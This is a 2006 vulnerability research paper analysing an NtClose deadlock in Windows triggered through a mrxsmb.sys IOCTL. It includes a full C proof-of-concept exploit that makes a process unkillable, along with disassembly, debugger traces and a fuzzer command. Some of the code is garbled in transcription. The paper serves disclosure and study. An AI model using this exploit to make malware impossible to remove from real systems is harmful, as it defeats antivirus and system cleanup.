



REVERSING MRXSMB.SYS CHAPTER II

“NtClose DeadLock”

*Rubén Santamaría
ruben@reversemode.com
www.reversemode.com*

May 15, 2006

Abstract

Kernel Object Manager is prone to a deadlock situation which could be exploitable making unkillable any process running, complicating its elimination.

INDEX

1.Overview.....	2
2.Introduction.....	2
3.Observation.....	3
3.1 Exploit.....	3
4.Hypotheses.....	6
5.Predictions.....	7
6.Theory.....	10
7.Testing with Kartoffel.....	10
8.References & GPG key.....	11

1.OVERVIEW

One of the most critical issues at the time of designing operating systems, is the synchronization. There is a considerable amount of cases in a so complex system. All of them should be studied in order to avoiding *deadlocks*, also improving the accuracy of the system.

We will see how a nonusual situation is erroneously handled by the Object Manager(OM from now on), causing a deadlock which opens a important security breach on the affected system . Malware, rootkits... could take it as advantage for several purposes ; the worst case would be malware in the wild exploiting this vulnerability since it could not be deleted by either an antivirus or the own operating system.

2.INTRODUCTION

In this paper we will see how a potentially dangerous routine allows to exploit this flaw.

MrxSmb.sys implements three functions which deal with file opearations: open, access and close. These functions can be requested from user-mode by using IOCTLs. Briefly :

1.MRxSmbCscIoctlOpenForCopyChunk (See [1] for further information)

This function obtains a handle for certain file.

Vulnerability: It allows to execute code in Ring0.

2.MRxSmbCscIoctlCloseForCopyChunk

This function closes a handle.

Vulnerability: It allows to exploit the flaw explained. In addition, another potentially dangerous operations could be performed.

This paper will be focused on **MrxSmbCscIoctlCloseForCopyChunk**.

3.OBSERVATION

Cscdll.dll calls **MrxSmbCscIoctlCloseForCopyChunk** as follows

cscdll.dll code		
.text:765BCCEE	push 0	; lpOverlapped
.text:765BCCF0	push offset _DummyBytesReturned	; lpBytesReturned
.text:765BCCF5	push 18h	; nOutBufferSize
.text:765BCCF7	push [ebp+lpOutBuffer]	; lpOutBuffer
.text:765BCCFA	push 0	; nInBufferSize
.text:765BCCFC	push 0	; lpInBuffer
.text:765BCCFE	push 141047h	; dwIoControlCode
.text:765BCD03	push esi	; hDevice
.text:765BCD04	call ds:_imp_DeviceloControl	

Microsoft developers swapped in this case InBuffer by OutBuffer, so OutBuff is InBuffer. By this way the handle is passed as parameter in the variable OutBuffer[3].

The interesting part inside mrxsmb.sys.

mrxsmb.sys code		
PAGE:000686E3	mov eax, [eax+0Ch]	; Our handle
PAGE:000686E6	cmp eax, 0FFFFFFFh	; is correct?
PAGE:000686E9	jz short loc_68702	
PAGE:000686EB	push eax	; Handle
PAGE:000686EC	call ds:_imp_NtClose@4	

Apparently nothing outside the normal thing, we passed the handle and then it is closed. The handle is closed in Ring0 so it allows us to perform operations over handles which we would not have access to, despite of the fact that the driver is using NtClose , not ZwClose.

```
hDevice = CreateFile("\\\\.\shadow", FILE_EXECUTE,FILE_SHARE_READ|FILE_SHARE_WRITE,  
NULL, OPEN_EXISTING, 0, NULL);
```

What would happen whether "hDevice" is passed as parameter ?

Exploit code	
//////////	//////////
////////// MRXSMB.SYS NtClose DEADLOCK exploit///	//////////
//////////	//////////
//November 19,2005	//////////
//////////	//////////
//ONLY FOR EDUCATION PURPOSES	//////////
//////////	//////////
// Rubén Santamaría	//////////
// ruben (at) reversemode (dot) com [email concealed]	//////////
// https://www.reversemode.com	//////////
//////////	//////////
#include <windows.h>	
#include <stdio.h>	
#define MAGIC_IOCTL 0x141047	

```

VOID ShowError()
{
    LPVOID lpMsgBuf;
    FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER|FORMAT_MESSAGE_FROM_SYSTEM,
        NULL,
        GetLastError(),
        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
        (LPTSTR) &lpMsgBuf,
        0,
        0,
        NULL);
    MessageBoxA(0,(LPTSTR)lpMsgBuf,"Error",0);
    exit(1);
}

VOID IamAlive()
{
    DWORD i;

    for(i=0;i<0x1000;i++)
    {
        Sleep(1000);
        printf("\rI am a Thread and I am alive [%x]",i);
    }
}

VOID KillMySelf()
{
    DWORD junk;
    DWORD *OutBuff;
    DWORD *InBuff;
    BOOL bResult;
    HANDLE hDevice;
    DWORD i;

    hDevice = CreateFile("\\\\.\\shadow", FILE_EXECUTE,FILE_SHARE_READ|FILE_SHARE_WRITE,
        NULL, OPEN_EXISTING, 0, NULL);

    if (hDevice == INVALID_HANDLE_VALUE) ShowError();

    OutBuff=(DWORD*)malloc(0x18);
    if(!OutBuff) ShowError();

    OutBuff[3]=(DWORD)hDevice;

    DeviceIoControl(hDevice,
        MAGIC_IOCTL,
        0,0,
        OutBuff,0x18,
        &junk,
        (LPOVERLAPPED)NULL);
    // MAIN THREAD ENDING.
}

int main(int argc, char *argv[])
{
    LPTHREAD_START_ROUTINE GoodThread;
    DWORD dwThreadId;
}

```

```

DWORD bResult;
GoodThread=(LPTHREAD_START_ROUTINE)lAmAlive;

printf("-=[MRXSMB.SYS NtClose Vulnerability POC]=-\\n");
printf("\\t(Only for educational purposes)\\n");
printf(..http://www.reversemode.com..\\n\\n");
printf("Launching Thread ...");

// PUT YOUR "GOOD" OR "BAD" CODE HERE
// e.g GoodThread
CreateThread(NULL,0,GoodThread,0,0,&dwThreadId);

printf("Done\\n");
printf("I am going to dissapear, but I will be with you forever\\n");
printf("(..)\\n\\n");
KillMySelf(); // Immortal mode "on" ;)

return(1);
}

```

Compile and run. Try to kill it but...surprise,surprise.

Microsoft Kernel Debugger
PROCESS 8204e760 SessionId: 0 Cid: 0ee8 Peb: 7ffde000 ParentCid: 0628 DirBase: 16009000 ObjectTable: e1160480 HandleCount: 2. Image: pof.exe

The exploit is still running. Why? Magic? Miracle? I do not think so...

4.HYPOTHESES

```
lkd> !process 8204e760
PROCESS 8204e760 SessionId: 0 Cid: 0ee8 Peb: 7ffde000 ParentCid: 0628
  DirBase: 16009000 ObjectTable: e1160480 HandleCount: 2.
  Image: pof.exe
  VadRoot 823381d8 Vads 36 Clone 0 Private 59. Modified 6. Locked 0.
  DeviceMap e21bd278
  Token e2d6e4a0
  ElapsedTime 00:23:25.484
  UserTime 00:00:00.015
  KernelTime 00:00:00.000
  QuotaPoolUsage[PagedPool] 15996
  QuotaPoolUsage[NonPagedPool] 1440
  Working Set Sizes (now,min,max) (255, 50, 345) (1020KB, 200KB, 1380KB)
  PeakWorkingSetSize 306
  VirtualSize 14 Mb
  PeakVirtualSize 16 Mb
  PageFaultCount 314
  MemoryPriority BACKGROUND
  BasePriority 8
  CommitCharge 94

  THREAD 82054898 Cid 0ee8.04f8 Peb: 7ffdd000 Win32Thread: e2316970 WAIT:
(Executive) KernelMode Non-Alertable
  8205b61c SynchronizationEvent
  IRP List:
    822b0920: (0006,0094) Flags: 00000000 Mdl: 00000000
    Not impersonating
    DeviceMap e21bd278
    Owning Process 8204e760 Image: pof.exe
    Wait Start TickCount 12314205 Ticks: 44586 (0:00:11:36.656)
    Context Switch Count 40 LargeStack
    UserTime 00:00:00.0000
    KernelTime 00:00:00.0000
    Start Address kernel32!BaseProcessStartThunk (0x7c810867)
    Win32 Start Address 0x00401220
    Stack Init a9e47000 Current a9e4682c Base a9e47000 Limit a9e43000 Call 0
    Priority 12 BasePriority 8 PriorityDecrement 2 DecrementCount 16
```

Microsoft Kernel Debugger

It seems that there is “something” avoiding that our program can “die” correctly .

```
WAIT: (Executive) KernelMode Non-Alertable
```

The main thread is waiting for an event of synchronization. Also we can see an IRP not completed.

```
lkd> !irp 822b0920
Irp is active with 1 stacks 1 is current (= 0x822b0990)
No Mdl Thread 82054898: Irp stack trace.
  cmd flg cl Device File Completion-Context
>[ e, 0] 0 0 81797c00 8205b5d0 00000000-00000000
  \FileSystem\MRxSmb
    Args: 00000018 00000000 00141047 0022ffa8
```

Microsoft Kernel Debugger

The IRP has been buildt by the IOM. Mrxsmb.sys should have set an Status to it. So, our program is hunged completely at some point of the "far" kernel-mode.

Loading Russinovich's Process Explorer

Process Explorer Thread Stack information screen

```
ntoskrnl.exe!ExReleaseResourceLite+0x206
ntoskrnl.exe!RtlRemoveUnicodePrefix+0x8a4
ntoskrnl.exe!IoCheckFunctionAccess+0x769d
ntoskrnl.exe!RtlAddAtomToAtomTable+0x3f4
ntoskrnl.exe!RtlAddAtomToAtomTable+0x59e
ntoskrnl.exe!RtlAddAtomToAtomTable+0x60f
ntoskrnl.exe!NtClose+0x1d           <==== Curious ;)
mrxsmb.sys+0x586f2
mrxsmb.sys+0x2e3ca
mrxsmb.sys+0x2dfd6
rdbss.sys+0x12c9d
rdbss.sys!RxpAcquirePrefixTableLockExclusive+0x297
rdbss.sys!RxAllocatePoolWithTag+0x311
rdbss.sys!RxFsdDispatch+0x9a
mrxsmb.sys+0x24097
ntoskrnl.exe!IoCallDriver+0x32
ntoskrnl.exe!IoCreateFileSpecifyDeviceObjectHint+0x347
ntoskrnl.exe!NtDeviceIoControlFile+0x2a
ntoskrnl.exe!ZwYieldExecution+0xb78
ntdll.dll!KiFastSystemCallRet+0x4
ntdll.dll!KiFastSystemCallRet
ntdll.dll!ZwDeviceIoControlFile+0xc
!DeviceIoControl+0xdd
```

At this point we should begin to consider seriously the possibility that the OM is not handling the situation correctly. Focusing on NtClose.

5.PREDICTIONS

How NtClose works?. The flow would be as follows (extremely compressed):

Firstly, it compares the handle with kernel handles (value > 0x80000000). Then it obtains the process handle table, looking up for the handle, checks whether it is closeable or not, if not it returns an error code. In affirmative case, the object is deleted from the list of kernel objects table associated to the process, decrementing the handle count. Finally it obtains the device associated with the object and builds an IRP to inform the driver associated with the device about operation performed.

Why is this not correct in our case?

Tip!

The FileObject Structure.

```
dt nt!_FILE_OBJECT
+0x000 Type : Int2B
+0x002 Size : Int2B
+0x004 DeviceObject : Ptr32 _DEVICE_OBJECT
+0x008 Vpb : Ptr32 _VPB
+0x00c FsContext : Ptr32 Void
+0x010 FsContext2 : Ptr32 Void
+0x014 SectionObjectPointer : Ptr32 _SECTION_OBJECT_POINTERS
+0x018 PrivateCacheMap : Ptr32 Void
+0x01c FinalStatus : Int4B
+0x020 RelatedFileObject : Ptr32 _FILE_OBJECT
+0x024 LockOperation : UChar
+0x025 DeletePending : UChar
+0x026 ReadAccess : UChar
+0x027 WriteAccess : UChar
+0x028 DeleteAccess : UChar
+0x029 SharedRead : UChar
+0x02a SharedWrite : UChar
+0x02b SharedDelete : UChar
+0x02c Flags : Uint4B      <= attention please!
+0x030 FileName : _UNICODE_STRING
+0x038 CurrentByteOffset : _LARGE_INTEGER
+0x040 Waiters : Uint4B      <= attention please!
+0x044 Busy : Uint4B      <= attention please!
+0x048 LastLock : Ptr32 Void
+0x04c Lock : _KEVENT      <= attention please!
+0x05c Event : _KEVENT
+0x06c CompletionContext : Ptr32 _IO_COMPLETION_CONTEXT
```

Microsoft Kernel Debugger

ntoskrnl.exe code

```
PAGE:004BE733    or byte ptr [edi+2Eh], 4    FO_SYNCHRONOUS_IO? Yes!
PAGE:004BE737    mov [ebp+FileObject], eax
PAGE:004BE73A    test byte ptr [edi+2Ch], 2    FO_HANDLE_CREATED? Yes!
PAGE:004BE73E    jz short loc_4BE781
PAGE:004BE740    lea eax, [edi+44h]           +0x044 Busy
PAGE:004BE743    mov [ebp+NewIrq], eax
PAGE:004BE746    mov edx, 1
PAGE:004BE74B    mov ecx, [ebp+NewIrq]
PAGE:004BE74E    mov eax, [ecx]
PAGE:004BE750    PAGE:004BE750 loc_4BE750: ; CODE XREF: sub_4BE55E+1F5#j
PAGE:004BE750    cmpxchg [ecx], edx
PAGE:004BE753    jnz short loc_4BE750
PAGE:004BE755    cmp eax, ebx             Busy or Not?
PAGE:004BE757    jnz short loc_4BE76F  Yes!
```

The FO_SYNCHRONOUS_IO flag tell us whether a file object has been created to perform a synchronous operation.

The “Busy” member of the FILE_OBJECT structure tell us whether at the moment of the operation the object is being used by “something” or “somebody”. The OM serializes the synchronous operations so it needs these members. Obviously the object was being used by us, so this member is equal to 1.

```

ntoskrnl.exe code
PAGE:004BE76F loc_4BE76F:          ; CODE XREF: sub_4BE55E+1F9#j
PAGE:004BE76F      xor    al, al
PAGE:004BE771
PAGE:004BE771 loc_4BE771:          ; CODE XREF: sub_4BE55E+20F#j
PAGE:004BE771      test   al, al
PAGE:004BE773      jnz    short loc_4BE781
PAGE:004BE775      lea    eax, [ebp+arg_10]
PAGE:004BE778      push   eax      ; int
PAGE:004BE779      push   ebx      ; Alertable
PAGE:004BE77A      push   ebx      ; WaitMode
PAGE:004BE77B      push   edi      ; int
PAGE:004BE77C      call   sub_4AA6E6

ntoskrnl.exe code
PAGE:004AA6E6 ; int __stdcall sub_4AA6E6(int,KPROCESSOR_MODE WaitMode,BOOLEAN Alertable,int)
PAGE:004AA6E6 sub_4AA6E6    proc near   ; CODE XREF: IoSetInformation+6A#p
PAGE:004AA6E6           ; sub_49F1FC+F7#p ...
PAGE:004AA6E6
PAGE:004AA6E6 var_4       = dword ptr -4
PAGE:004AA6E6 arg_0       = dword ptr 8
PAGE:004AA6E6 WaitMode    = byte ptr 0Ch
PAGE:004AA6E6 Alertable   = byte ptr 10h
PAGE:004AA6E6 arg_C       = dword ptr 14h
PAGE:004AA6E6
PAGE:004AA6E6      push   ebp
PAGE:004AA6E7      mov    ebp, esp
PAGE:004AA6E9      push   ecx
PAGE:004AA6EA      mov    eax, [ebp+arg_C]
PAGE:004AA6ED      push   ebx
PAGE:004AA6EE      push   esi
PAGE:004AA6EF      mov    esi, [ebp+arg_0]
PAGE:004AA6F2      and   byte ptr [eax], 0
PAGE:004AA6F5      push   edi
PAGE:004AA6F6      lea    edi, [esi+40h]      0x040 =Waiters
PAGE:004AA6F9      mov    [ebp+arg_0], edi
PAGE:004AA6FC      mov    eax, 1
PAGE:004AA701      mov    ecx, [ebp+arg_0]
PAGE:004AA704      xadd  [ecx], eax      Waiters++;
PAGE:004AA707      inc    eax
PAGE:004AA708      lea    ebx, [esi+44h]
PAGE:004AA70B
PAGE:004AA70B loc_4AA70B:          ; CODE XREF: sub_4AA6E6+64#j
PAGE:004AA70B      cmp    dword ptr [ebx], 0      Busy == FALSE?
PAGE:004AA70E      jnz    short loc_4AA726      Our FileObject is very busy man!
PAGE:004AA726
PAGE:004AA726 loc_4AA726:          ; CODE XREF: sub_4AA6E6+28#j
PAGE:004AA726      push   0      ; Timeout      No TimeOut
PAGE:004AA728      lea    eax, [esi+4Ch]      FileObject Lock
PAGE:004AA72B      push   dword ptr [ebp+Alertable] ; Alertable = Non Alertable
PAGE:004AA72E      push   dword ptr [ebp+WaitMode] ; WaitMode= KernelMode
PAGE:004AA731      push   0      ; WaitReason
PAGE:004AA733      push   eax      ; Object      ;Our Lock
PAGE:004AA734      call   KeWaitForSingleObject <= KeWaitForDeadLock ;)

```

This deadlock should illustrate all the books about “writing secure code”. It has all the elements that a good DeadLock needs ;)

6.THEORY

Once we have understood everything what we have seen, it is time to build a theory which explains this abnormal behavior.

Before notifying to the Device associated with the object, the OM verifies if the file has been constructed for a synchronous operation. Then, the OM verifies that our object is busy and the Waiters field is increased by one, both fields are used to serialize synchronous operations. But the OM makes a mistake, it estimates erroneously that we are not those that are locking the object. So the OM is keeping our thread in a state in which the thread is waiting for a lock that will never be released.

The successful exploitation of the vulnerability provokes that the handle will never be deleted so the thread will never be able to finish because while a thread maintains one handle active, the thread will remain active on the system. In addition, nobody will be able to delete the file associated to the thread. Nobody will be able to kill the process completely.

Como decimos por aquí : “chungo”.

7.TESTING WITH Kartoffel

Kartoffel is an Open Source (GPL) Driver Verification Tool that I have developed.

Using Kartoffel you can test this vulnerability quickly.

```
>kartoffel -s \\.\Shadow -n 0 -o 0x10 -z 0 -Z 0x18 -U VALUE,HANDLES -c 2000 -I 141047
```

Output

Input Size:[0x0000]

Ouput Size:[0x0018]

IOCTL:[0x00141047] -> Response received [IOM notified]

[RESULTS] -----

Test ID [0x0001] -----

[FUZZING]

- Input Buffer Size: (0x0000) Method: "" Submethod: ""
- Output Buffer Size: (0x0018) Method: "VALUE" Submethod: "HANDLES"
- IOCTL [0x00141047]
 - => DEVICE: FILE_DEVICE_NETWORK_FILE_SYSTEM
 - => ACCESS: ANY ACCESS
 - => FUNCTION: 0x0411
 - => METHOD: METHOD_NEITHER

[FLAW]

- POSSIBLE DEADLOCK DETECTED -

[BUFFERS]

[INPUT BUFFER] = NULL

Original Data [OUTPUT BUFFER]

[0x000]: 000007E8 000007E8 000007E8 000007E8

Kartoffel is available for download at www.reveremode.com

8. REFERENCES

1. Rubén Santamarta, “[Reversing Mrxsmb.sys Chapter I. Getting Ring0](#)”.
<<http://www.reveremode.com>> June 8, 2006

2. Microsoft Developers Network Online
<<http://msdn.microsoft.com>> June 8, 2006

-----BEGIN PGP PUBLIC KEY BLOCK-----

Version: GnuPG v1.4.2 (MingW32)

```
mQGiBEOLXR8RBAC+CP5OBdAncP6H3Sy9YwPDA2AUJ6d0tTfYWQVWNLKcbF12tQp
tCNqPJ1R6Gx2UZMphdUlPwEZ1PwuENSmJuabuN09GZ4/cr+VVXPOhh2cHfYeJ/W3
JOpsVhPH539noSxAwQrojU6EpKvHcunflT431N9qSsYSizohgMqISEs2BwCgzMJM
8tmc8I7m0kIocnNd+gH0uu0EAIxgH9oauDiWVSRJYvpdi6YKGRwV9ZuuO5Cx4bts
VuCKhVLXatDySuMvrIsd3pa1CI90dMA0wEK8XpemMqXA91bXpyrZhVLRcUWlrH
WJCA53zgPTHRg77GTO04gLkdzrmcljiq8kg1J07EM2ICGEQ4UYU1gyu6r84NeLSn
dXI0A/9ZJddIASAmoC7+uuVv+tA/9kqXwQGVJYw137H/A3m5RWdNAVusOEhpOdR
YZwYGuLojgoy9j5zUfy+tc9JtKPjUGPth7YGSQycOwr4sym1Kx9W4/LagJk5ZBQW
C+Og33oEL148EqjIviHm3h2P6vUzaP2R8wVJe1bcOE60Cty/U7QoUnViZW4gU2Fu
dGFTYXJ0YSA8cnViZW5AcmV2ZXJzzW1vZGUuY29tPohmBBMRAgAmBQJDi10fAhsD
BQkDwmcaBgsJCACDAGQVAggDBBYCAwECHgECF4AACgkQ2pGo2fjs1o3RfwCZAfdi
rSY+jD04Oscd+BKZKFScQhIAoKXKIp7DWKESjEGiXjQYP1lFBUdFuQINBEOLXUMQ
CAC5M6M0uH+xk5SouFur7FXhOX0lNFGHa7ADI5CRIfiTyFdjuLb5vZTWFdevSEm/
oEVh0pEHY0uPv8B+f8bwdb1jdZn/MCkfT4Y4Q4jLyKKJAYrYHJamxeCzxlCvF68/
YRucXryohGIP1YsXz0w2v4cNPALbAUv9hD5DaD933G2rJZ1POHjwkTUWF17upwT9
yfGgf0w3oL1oyQsD0hgqyqzFxTvepH4wZgt/yodDcPrZjXwPV9pGteEdTZQXn8NXC
p90GFVIaeh86j8RCOUoMkejx1/5w/9bxjCmQ1CLtDdc62hX2cpdgRkMzod83egV
J5pQy2orWsEb7SMRXUGn6JrHAAQNB/0fGGszanh047AuJM/GTaXpi01CHIOgFAz
X9/Tt0mRWWf0f/fv4HrTH5TJGqXpnMTC3bizAXRmDh1NThqQ9iTXJCl7iwVott0x
G55VYU1UEwJ0WNJ4sy/MEE1qoyqW7MgG0tHZ2vkxiJKsraBiJdK/n1oePKh06u2z
9Y213PJtB7+n1VITkehCT1J5VNhDgQ8D44cyxaxTZD6bDqaE+NX2lcqUM1dKNm0W
gkVOyjNX1Yp/sFiQXYGUApYsMIbubQOI67YS5ReHAUKjPuZGswgbN+4eiwfCuyeM
zxWWq4wtEGpVch1jqZ53QQNiBYm4Xw5WhbN+nx86xxagabBikeBie8EGBECAA8F
AkOLXUMCGwwFCQPCZwAACgkQ2pGo2fjs1o3M0wCfUVbtbjwRbmgAvXOGrv38aleI
p6UAoILzgf6ktJwUchyuxwuEZzhMNqEL
=iSHC
-----END PGP PUBLIC KEY BLOCK-----
```

DISCLAIMER

This paper has been released for educational purposes only. The author is not responsible for any problems caused due to improper or illegal usage of the information described.